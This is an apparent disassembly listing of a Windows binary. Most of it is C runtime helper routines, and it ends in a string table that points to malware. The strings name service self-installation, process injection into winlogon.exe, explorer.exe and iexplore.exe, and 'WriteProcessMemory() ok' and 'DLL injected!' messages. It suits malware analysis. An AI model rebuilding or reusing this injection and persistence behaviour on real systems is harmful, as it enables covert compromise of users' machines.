var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1014h
		call	sub_4077F0
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], 0
		push	1
		push	0
		push	ebx
		call	sub_40BEB0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CD54
		push	2
		push	0
		push	ebx
		call	sub_40BEB0
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CD5C


loc_40CD54:				; CODE XREF: sub_40CD10+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_40CE50
; ---------------------------------------------------------------------------


loc_40CD5C:				; CODE XREF: sub_40CD10+42j
		mov	eax, [ebp+arg_4]
		mov	esi, eax
		sub	esi, [ebp+var_8]
		test	esi, esi
		jle	loc_40CE01
		lea	edx, [ebp+var_1010]
		mov	ecx, 1000h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		push	8000h
		push	ebx
		call	sub_40D2A0
		add	esp, 8
		mov	[ebp+var_10], eax


loc_40CD92:				; CODE XREF: sub_40CD10+E0j
		cmp	esi, 1000h
		jb	short loc_40CDA6
		mov	[ebp+var_1014],	1000h
		jmp	short loc_40CDAE
; ---------------------------------------------------------------------------


loc_40CDA6:				; CODE XREF: sub_40CD10+88j
		mov	eax, esi
		mov	[ebp+var_1014],	eax


loc_40CDAE:				; CODE XREF: sub_40CD10+94j
		mov	eax, [ebp+var_1014]
		push	eax
		lea	eax, [ebp+var_1010]
		push	eax
		push	ebx
		call	sub_40A730
		add	esp, 0Ch
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CDE8
		call	dword_411CE8
		cmp	eax, 5
		jnz	short loc_40CDE2
		call	sub_408460
		mov	dword ptr [eax], 0Dh


loc_40CDE2:				; CODE XREF: sub_40CD10+C5j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40CDF2
; ---------------------------------------------------------------------------


loc_40CDE8:				; CODE XREF: sub_40CD10+BAj
		mov	eax, esi
		sub	eax, edi
		mov	esi, eax
		test	eax, eax
		jg	short loc_40CD92


loc_40CDF2:				; CODE XREF: sub_40CD10+D6j
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_40D2A0
		add	esp, 8
		jmp	short loc_40CE3E
; ---------------------------------------------------------------------------


loc_40CE01:				; CODE XREF: sub_40CD10+56j
		test	esi, esi
		jge	short loc_40CE3E
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_40BEB0
		add	esp, 0Ch
		push	ebx
		call	sub_40AC20
		pop	ecx
		push	eax
		call	dword_411E1C
		test	eax, eax
		setnz	al
		and	eax, 1
		dec	eax
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CE3E
		call	sub_408460
		mov	dword ptr [eax], 0Dh


loc_40CE3E:				; CODE XREF: sub_40CD10+EFj
					; sub_40CD10+F3j ...
		push	0
		mov	eax, [ebp+var_C]
		push	eax
		push	ebx
		call	sub_40BEB0
		add	esp, 0Ch
		mov	eax, [ebp+var_4]


loc_40CE50:				; CODE XREF: sub_40CD10+47j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40CD10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: DMN0:0040CCFBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_40CE89
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40CE99


loc_40CE89:				; CODE XREF: sub_40CE60+Cj
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CEB9
; ---------------------------------------------------------------------------


loc_40CE99:				; CODE XREF: sub_40CE60+27j
		push	ebx
		call	sub_40AD40
		pop	ecx
		mov	eax, [esp+8+arg_4]
		push	eax
		push	ebx
		call	sub_40CD10
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_40ADA0
		pop	ecx
		mov	eax, esi


loc_40CEB9:				; CODE XREF: sub_40CE60+37j
		pop	esi
		pop	ebx
		retn
sub_40CE60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC0	proc near		; CODE XREF: sub_40BD80+EFp
					; sub_40BD80+100p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		jmp	loc_40CF7D
; ---------------------------------------------------------------------------


loc_40CED4:				; CODE XREF: sub_40CEC0+C0j
		mov	eax, [esi+18h]
		cmp	eax, [esi+10h]
		ja	short loc_40CEEF
		push	esi
		call	sub_408F60
		pop	ecx
		test	eax, eax
		jge	short loc_40CEEF
		or	eax, 0FFFFFFFFh
		jmp	loc_40CF9F
; ---------------------------------------------------------------------------


loc_40CEEF:				; CODE XREF: sub_40CEC0+1Aj
					; sub_40CEC0+25j
		test	word ptr [esi],	400h
		jz	short loc_40CF06
		push	0Ah
		push	ebx
		call	sub_40D3B0
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_40CF0D
; ---------------------------------------------------------------------------


loc_40CF06:				; CODE XREF: sub_40CEC0+34j
		mov	[ebp+var_C], 0


loc_40CF0D:				; CODE XREF: sub_40CEC0+44j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_40CF22
		mov	eax, [ebp+var_4]
		sub	eax, ebx
		inc	eax
		mov	[ebp+var_10], eax
		jmp	short loc_40CF31
; ---------------------------------------------------------------------------


loc_40CF22:				; CODE XREF: sub_40CEC0+55j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_40CF27:				; CODE XREF: sub_40CEC0+6Cj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_40CF27
		mov	[ebp+var_10], eax


loc_40CF31:				; CODE XREF: sub_40CEC0+60j
		mov	edi, [ebp+var_10]
		mov	eax, [esi+18h]
		mov	edx, [esi+10h]
		sub	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], edi
		jnb	short loc_40CF4E
		mov	[ebp+var_4], 0
		mov	edi, [ebp+var_8]


loc_40CF4E:				; CODE XREF: sub_40CEC0+82j
		push	edi
		push	ebx
		mov	eax, [esi+10h]
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		add	ebx, edi
		lea	eax, [esi+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_4], 0
		jz	short loc_40CF7D
		push	esi
		call	sub_408D60
		pop	ecx
		test	eax, eax
		jz	short loc_40CF7D
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CF9F
; ---------------------------------------------------------------------------


loc_40CF7D:				; CODE XREF: sub_40CEC0+Fj
					; sub_40CEC0+ABj ...
		cmp	byte ptr [ebx],	0
		jnz	loc_40CED4
		test	word ptr [esi],	800h
		jz	short loc_40CF9D
		push	esi
		call	sub_408D60
		pop	ecx
		test	eax, eax
		jz	short loc_40CF9D
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CF9F
; ---------------------------------------------------------------------------


loc_40CF9D:				; CODE XREF: sub_40CEC0+CBj
					; sub_40CEC0+D6j
		xor	eax, eax


loc_40CF9F:				; CODE XREF: sub_40CEC0+2Aj
					; sub_40CEC0+BBj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40CEC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CFB0	proc near		; CODE XREF: sub_40C3D0+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_4]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_40D006
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_40CFF2
		cmp	word ptr [ebx+4], 0
		jnz	short loc_40CFF2
		cmp	word ptr [ebx+2], 0
		jnz	short loc_40CFF2
		cmp	word ptr [ebx],	0
		jz	short loc_40CFF9


loc_40CFF2:				; CODE XREF: sub_40CFB0+2Cj
					; sub_40CFB0+33j ...
		mov	edi, 2
		jmp	short loc_40CFFE
; ---------------------------------------------------------------------------


loc_40CFF9:				; CODE XREF: sub_40CFB0+40j
		mov	edi, 1


loc_40CFFE:				; CODE XREF: sub_40CFB0+47j
		mov	ax, di
		movsx	eax, ax
		jmp	short loc_40D04A
; ---------------------------------------------------------------------------


loc_40D006:				; CODE XREF: sub_40CFB0+1Bj
		test	si, si
		jg	short loc_40D01A
		push	ebx
		call	sub_40D3D0
		pop	ecx
		mov	si, ax
		test	ax, ax
		jg	short loc_40D03F


loc_40D01A:				; CODE XREF: sub_40CFB0+59j
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		or	eax, 3FE0h
		mov	[ebx+6], ax
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, si
		sub	ax, 3FEh
		mov	[edx], ax
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D04A
; ---------------------------------------------------------------------------


loc_40D03F:				; CODE XREF: sub_40CFB0+68j
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		xor	eax, eax


loc_40D04A:				; CODE XREF: sub_40CFB0+54j
					; sub_40CFB0+8Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D050	proc near		; CODE XREF: sub_40C3F0+Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_40D0A5
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_40D08E
		cmp	word ptr [ebx+4], 0
		jnz	short loc_40D08E
		cmp	word ptr [ebx+2], 0
		jnz	short loc_40D08E
		cmp	word ptr [ebx],	0
		jz	short loc_40D095


loc_40D08E:				; CODE XREF: sub_40D050+28j
					; sub_40D050+2Fj ...
		mov	edi, 2
		jmp	short loc_40D09A
; ---------------------------------------------------------------------------


loc_40D095:				; CODE XREF: sub_40D050+3Cj
		mov	edi, 1


loc_40D09A:				; CODE XREF: sub_40D050+43j
		mov	ax, di
		movsx	eax, ax
		jmp	loc_40D25A
; ---------------------------------------------------------------------------


loc_40D0A5:				; CODE XREF: sub_40D050+20j
		test	si, si
		jnz	short loc_40D0C0
		push	ebx
		call	sub_40D3D0
		pop	ecx
		mov	si, ax
		test	ax, ax
		jle	short loc_40D0C0
		xor	eax, eax
		jmp	loc_40D25A
; ---------------------------------------------------------------------------


loc_40D0C0:				; CODE XREF: sub_40D050+58j
					; sub_40D050+67j
		movsx	eax, si
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+arg_4], eax
		cmp	eax, 7FFh
		jl	short loc_40D102
		test	word ptr [ebx+6], 8000h
		jz	short loc_40D0E7
		fld	dbl_4119DC
		fchs
		fstp	[ebp+var_8]
		jmp	short loc_40D0F0
; ---------------------------------------------------------------------------


loc_40D0E7:				; CODE XREF: sub_40D050+88j
		fld	dbl_4119DC
		fstp	[ebp+var_8]


loc_40D0F0:				; CODE XREF: sub_40D050+95j
		mov	eax, [ebp+arg_0]
		fld	[ebp+var_8]
		fstp	qword ptr [eax]
		mov	eax, 1
		jmp	loc_40D25A
; ---------------------------------------------------------------------------


loc_40D102:				; CODE XREF: sub_40D050+80j
		cmp	[ebp+arg_4], 0
		jle	short loc_40D128
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		mov	edx, [ebp+arg_4]
		movsx	edx, dx
		shl	edx, 4
		or	eax, edx
		mov	[ebx+6], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_40D25A
; ---------------------------------------------------------------------------


loc_40D128:				; CODE XREF: sub_40D050+B6j
		mov	ax, [ebx+6]
		and	ax, 8000h
		mov	word ptr [ebp+var_8+6],	ax
		movzx	eax, word ptr [ebx+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	[ebx+6], ax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		cmp	eax, 0FFFFFFCCh
		jge	short loc_40D16E
		mov	ax, word ptr [ebp+var_8+6]
		mov	[ebx+6], ax
		mov	word ptr [ebx+4], 0
		mov	word ptr [ebx+2], 0
		mov	word ptr [ebx],	0
		xor	eax, eax
		jmp	loc_40D25A
; ---------------------------------------------------------------------------


loc_40D16E:				; CODE XREF: sub_40D050+FCj
		mov	eax, [ebp+arg_4]
		mov	word ptr [ebp+var_8+4],	ax
		jmp	short loc_40D199
; ---------------------------------------------------------------------------


loc_40D177:				; CODE XREF: sub_40D050+14Ej
		mov	ax, [ebx+2]
		mov	[ebx], ax
		mov	ax, [ebx+4]
		mov	[ebx+2], ax
		mov	ax, [ebx+6]
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		add	word ptr [ebp+var_8+4],	10h


loc_40D199:				; CODE XREF: sub_40D050+125j
		cmp	word ptr [ebp+var_8+4],	0FFF0h
		jle	short loc_40D177
		movsx	eax, word ptr [ebp+var_8+4]
		neg	eax
		mov	word ptr [ebp+var_8+4],	ax
		test	ax, ax
		jz	loc_40D24F
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx]
		mov	ecx, eax
		sar	edx, cl
		mov	dword ptr [ebp+var_8], edx
		movzx	ecx, word ptr [ebx+2]
		mov	[ebp+var_C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_C]
		shl	eax, cl
		mov	edx, dword ptr [ebp+var_8]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+2]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_10], edx
		movzx	ecx, word ptr [ebx+4]
		mov	[ebp+var_14], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_14]
		shl	eax, cl
		mov	edx, [ebp+var_10]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+2], ax
		movsx	eax, word ptr [ebp+var_8+4]
		movzx	edx, word ptr [ebx+4]
		mov	ecx, eax
		sar	edx, cl
		mov	[ebp+var_18], edx
		movzx	ecx, word ptr [ebx+6]
		mov	[ebp+var_1C], ecx
		mov	edx, 10h
		mov	ecx, edx
		sub	ecx, eax
		mov	eax, [ebp+var_1C]
		shl	eax, cl
		mov	edx, [ebp+var_18]
		or	edx, eax
		mov	ax, dx
		mov	[ebx+4], ax
		movzx	eax, word ptr [ebx+6]
		movsx	ecx, word ptr [ebp+var_8+4]
		sar	eax, cl
		mov	[ebx+6], ax


loc_40D24F:				; CODE XREF: sub_40D050+15Dj
		mov	ax, word ptr [ebp+var_8+6]
		or	[ebx+6], ax
		or	eax, 0FFFFFFFFh


loc_40D25A:				; CODE XREF: sub_40D050+50j
					; sub_40D050+6Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40D050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D270	proc near		; CODE XREF: sub_40C470+409p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40D270	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D2A0	proc near		; CODE XREF: sub_40CD10+77p
					; sub_40CD10+E7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		movzx	eax, byte ptr [edx+eax+4]
		mov	esi, eax
		and	esi, 80h
		cmp	[esp+8+arg_4], 8000h
		jnz	short loc_40D2F6
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		movzx	edx, byte ptr [eax]
		and	edx, 0FFFFFF7Fh
		mov	[eax], dl
		jmp	short loc_40D32D
; ---------------------------------------------------------------------------


loc_40D2F6:				; CODE XREF: sub_40D2A0+2Fj
		cmp	[esp+8+arg_4], 4000h
		jnz	short loc_40D31D
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	80h
		jmp	short loc_40D32D
; ---------------------------------------------------------------------------


loc_40D31D:				; CODE XREF: sub_40D2A0+5Ej
		call	sub_408460
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D340
; ---------------------------------------------------------------------------


loc_40D32D:				; CODE XREF: sub_40D2A0+54j
					; sub_40D2A0+7Bj
		test	esi, esi
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 4000h


loc_40D340:				; CODE XREF: sub_40D2A0+8Bj
		pop	esi
		pop	ebx
		retn
sub_40D2A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		cmp	ebx, dword_413A88
		jnb	short loc_40D379
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40D389


loc_40D379:				; CODE XREF: DMN0:0040D35Cj
		call	sub_408460
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D3A9
; ---------------------------------------------------------------------------


loc_40D389:				; CODE XREF: DMN0:0040D377j
		push	ebx
		call	sub_40AD40
		pop	ecx
		mov	eax, [esp+10h]
		push	eax
		push	ebx
		call	sub_40D2A0
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_40ADA0
		pop	ecx
		mov	eax, esi


loc_40D3A9:				; CODE XREF: DMN0:0040D387j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D3B0	proc near		; CODE XREF: sub_40CEC0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		xor	edx, edx


loc_40D3BD:				; CODE XREF: sub_40D3B0+19j
		cmp	[ecx], bl
		jnz	short loc_40D3C3
		mov	edx, ecx


loc_40D3C3:				; CODE XREF: sub_40D3B0+Fj
		cmp	byte ptr [ecx],	0
		jz	short loc_40D3CB
		inc	ecx
		jmp	short loc_40D3BD
; ---------------------------------------------------------------------------


loc_40D3CB:				; CODE XREF: sub_40D3B0+16j
		mov	eax, edx
		pop	ebx
		retn
sub_40D3B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D3D0	proc near		; CODE XREF: sub_40CFB0+5Cp
					; sub_40D050+5Bp

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ax, [ecx+6]
		mov	di, ax
		and	di, 8000h
		mov	bx, 1
		mov	ax, [ecx+6]
		and	ax, 0Fh
		mov	[ecx+6], ax
		test	ax, ax
		jnz	short loc_40D40F
		cmp	word ptr [ecx+4], 0
		jnz	short loc_40D40F
		cmp	word ptr [ecx+2], 0
		jnz	short loc_40D40F
		cmp	word ptr [ecx],	0
		jz	loc_40D4C9


loc_40D40F:				; CODE XREF: sub_40D3D0+25j
					; sub_40D3D0+2Cj ...
		jmp	short loc_40D431
; ---------------------------------------------------------------------------


loc_40D411:				; CODE XREF: sub_40D3D0+66j
		mov	ax, [ecx+4]
		mov	[ecx+6], ax
		mov	ax, [ecx+2]
		mov	[ecx+4], ax
		mov	ax, [ecx]
		mov	[ecx+2], ax
		mov	word ptr [ecx],	0
		sub	bx, 10h


loc_40D431:				; CODE XREF: sub_40D3D0:loc_40D40Fj
		cmp	word ptr [ecx+6], 0
		jz	short loc_40D411
		jmp	short loc_40D477
; ---------------------------------------------------------------------------


loc_40D43A:				; CODE XREF: sub_40D3D0+ACj
		movzx	eax, word ptr [ecx+6]
		add	eax, eax
		movzx	edx, word ptr [ecx+4]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+6], ax
		movzx	eax, word ptr [ecx+4]
		add	eax, eax
		movzx	edx, word ptr [ecx+2]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		movzx	eax, word ptr [ecx+2]
		add	eax, eax
		movzx	edx, word ptr [ecx]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		shl	word ptr [ecx],	1
		dec	bx


loc_40D477:				; CODE XREF: sub_40D3D0+68j
		cmp	word ptr [ecx+6], 10h
		jb	short loc_40D43A
		jmp	short loc_40D4BD
; ---------------------------------------------------------------------------


loc_40D480:				; CODE XREF: sub_40D3D0+F2j
		movzx	eax, word ptr [ecx]
		sar	eax, 1
		movzx	edx, word ptr [ecx+2]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx], ax
		movzx	eax, word ptr [ecx+2]
		sar	eax, 1
		movzx	edx, word ptr [ecx+4]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		movzx	eax, word ptr [ecx+4]
		sar	eax, 1
		movzx	edx, word ptr [ecx+6]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		shr	word ptr [ecx+6], 1
		inc	bx


loc_40D4BD:				; CODE XREF: sub_40D3D0+AEj
		cmp	word ptr [ecx+6], 20h
		jnb	short loc_40D480
		and	word ptr [ecx+6], 0Fh


loc_40D4C9:				; CODE XREF: sub_40D3D0+39j
		or	[ecx+6], di
		movsx	eax, bx
		pop	edi
		pop	ebx
		retn
sub_40D3D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D4E0	proc near		; CODE XREF: sub_408550+13p
		jmp	dword_411DAC
sub_40D4E0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 2C6h	dup(0)
dword_40E000	dd 656E6F64h		; DATA XREF: sub_4067B0+584o
					; sub_448AD1+584o
		db 2Eh,	0Ah, 0
aNotDaemonized_	db 'not daemonized...',0Ah,0 ; DATA XREF: sub_4067B0:loc_406CF2o
					; sub_448AD1:loc_449013o
aInitializingSe	db 'initializing service startup sequence...',0Ah,0
					; DATA XREF: sub_4067B0+527o
					; sub_448AD1+527o
aServiceInstall	db 'service installed ok...',0Ah,0 ; DATA XREF: sub_4067B0+476o
					; sub_448AD1+476o
aInstallingSe_0	db 'installing service...',0Ah,0 ; DATA XREF: sub_4067B0+462o
					; sub_448AD1+462o
aRegisteredSe_1	db 'registered service is not running, unrest.',0Ah,0
					; DATA XREF: sub_4067B0:loc_406BE8o
					; sub_448AD1:loc_448F09o
aStartingServic	db 'starting service...',0Ah,0 ; DATA XREF: sub_4067B0+41Do
					; sub_4067B0:loc_406C6Bo ...
aI		db '%i',0Ah,0           ; DATA XREF: sub_4067B0+3FEo
					; sub_448AD1+3FEo
aInstallingServ	db 'installing service, res=',0 ; DATA XREF: sub_4067B0+3E8o
					; sub_448AD1+3E8o
aRegisteredSe_0	db 'registered service is not running.',0Ah,0
					; DATA XREF: sub_4067B0:loc_406B84o
					; sub_448AD1:loc_448EA5o
aRegisteredServ	db 'registered service is here...',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B69o
					; sub_448AD1:loc_448E8Ao
aDonTRegisterIt	db 'DON',27h,'T register it',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B52o
					; sub_448AD1:loc_448E73o
aRegisterItAndR	db 'register it and restart',0Ah,0 ; DATA XREF: sub_4067B0+392o
					; sub_448AD1+392o
aNoRegisteredSe	db 'no registered service, ',0 ; DATA XREF: sub_4067B0+36Bo
					; sub_448AD1+36Bo
aWaitingComplet	db '*** waiting complete...',0Ah,0 ; DATA XREF: sub_4067B0:loc_406B05o
					; sub_448AD1:loc_448E26o
aWaiting___	db '*** waiting...',0Ah,0 ; DATA XREF: sub_4067B0+32Co
					; sub_448AD1+32Co
aRemovingS	db 'removing: <%s>',0Ah,0 ; DATA XREF: sub_4067B0+2A0o
					; sub_448AD1+2A0o
aInitializingWi	db 'initializing winsock library...',0Ah,0 ; DATA XREF: sub_4067B0+24Bo
					; sub_448AD1+24Bo
aCopyingFailed	db 'copying failed %%-(',0Ah,0 ; DATA XREF: sub_4067B0:loc_4069D3o
					; sub_448AD1:loc_448CF4o
aCreateprocessF	db 'CreateProcess() failed %%-(',0Ah,0 ; DATA XREF: sub_4067B0:loc_4069B8o
					; sub_448AD1:loc_448CD9o
aCmdlineS	db 'cmdline: <%s>',0Ah,0 ; DATA XREF: sub_4067B0+1DFo
					; sub_448AD1+1DFo
aCopying___	db 'copying...',0Ah,0   ; DATA XREF: sub_4067B0+167o
					; sub_448AD1+167o
aNewSOldSSelfS	db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 ; DATA XREF: sub_4067B0+E0o
					; sub_448AD1+E0o
aWaiting10SecsS	db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 ; DATA XREF: sub_4067B0+9Ao
					; sub_448AD1+9Ao
aShutdownmutexc	db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 ; DATA XREF: sub_4067B0+8Do
					; sub_448AD1+8Do
aUpdate_0	db '*update',0          ; DATA XREF: sub_4067B0+5Eo
					; sub_448AD1+5Eo
aInjectionthrea	db 'InjectionThread complete',0Ah,0 ; DATA XREF: sub_406544:loc_406704o
					; DMN1:loc_448A25o
aDllStopped___	db 'DLL stopped...',0Ah,0 ; DATA XREF: sub_406544:loc_4066CCo
					; DMN1:loc_4489EDo
aDying		db 'dying',0Ah,0        ; DATA XREF: sub_406544+173o
					; DMN1:004489D8o
aWaitingForDllD	db 'waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406544+129o
					; DMN1:0044898Eo
aWinlogon_exe	db 'winlogon.exe',0     ; DATA XREF: sub_406544:loc_406603o
					; DMN1:loc_448924o
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_406544:loc_4065FAo
					; DMN1:loc_44891Bo
aIexplore_exe	db 'iexplore.exe',0     ; DATA XREF: sub_406544:loc_4065F1o
					; DMN1:loc_448912o
aOldDllFoundWai	db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
					; DATA XREF: sub_406544+59o
					; DMN1:004488BEo
aTryingSWithSFa	db 'trying <%s> with <%s> failed',0Ah,0 ; DATA XREF: sub_40636D+A1o
					; sub_44868E+A1o
aTryingSWithS	db 'trying <%s> with <%s>',0Ah,0 ; DATA XREF: sub_40636D+5Bo
					; sub_44868E+5Bo
aDllInjected	db 'DLL injected!',0Ah,0 ; DATA XREF: sub_4062A5+8Co
					; sub_4485C6+8Co
aThreadComplete	db 'thread complete (%i).',0Ah,0 ; DATA XREF: sub_4062A5+65o
					; sub_4485C6+65o
aThreadInjected	db 'thread injected (%i).',0Ah,0 ; DATA XREF: sub_4062A5+42o
					; sub_4485C6+42o
aProcessOpened_	db 'process opened.',0Ah,0 ; DATA XREF: sub_4062A5+1Do
					; sub_4485C6+1Do
aS		db '<%s>',0Ah,0         ; DATA XREF: sub_40617B+FEo
					; sub_40636D+81o ...
aWriteprocessme	db 'WriteProcessMemory() ok',0Ah,0 ; DATA XREF: sub_40617B+F0o
